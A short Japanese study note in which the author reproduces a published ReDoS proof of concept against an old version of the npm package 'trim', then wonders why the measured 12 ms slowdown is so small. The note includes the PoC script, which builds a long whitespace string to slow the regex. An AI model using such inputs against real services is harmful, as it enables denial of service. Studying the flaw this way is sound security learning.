脆弱性の世界
trimというnpmパッケージに見つかった脆弱性。 NVDにおけるページ
Snykにもページがある
脆弱性の修正を確認する
0.0.3以降は修正されている
脆弱性をつついてみる
楽しい
参考にするもの
PoCとは、脆弱性による影響を実証するための手順を示したもの
あった
https://scrapbox.io/files/64dea4e2220825001cd43224.png
実行する
下準備
$ npm init
ここで指定したのは、0.0.3への修正が始まる1個前のコミット
ファイルを作成
PoCの内容をそのまま記述した
code:index.js
var trim = require("trim");
function build_attack(n) {
var ret = "1";
for (var i = 0; i < n; i++) {
ret += " ";
}
return ret + "1";
}
var time = Date.now();
trim(build_attack(50000));
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost);
実行
$ node index.js
code:output.txt
time_cost: 12
どういうことか?
build_attack()
長さ$ n+2の長い文字列を生成する
つまり
関数 trim() に50002文字程度の文字列を与えると、処理に10ミリ秒程度要する
処理に正規表現を用いることにより、一部の入力に対して処理が遅くなる 例
一般的に、正規表現とどこも一致しない入力は、一致する部分がある入力よりも処理が遅い
ん?
10ミリ秒、特に遅くないのではないか
当時(2020年10月)はReDoSに対して脆弱であったはず
ランタイムが最適化された?
Node.jsの更新を探る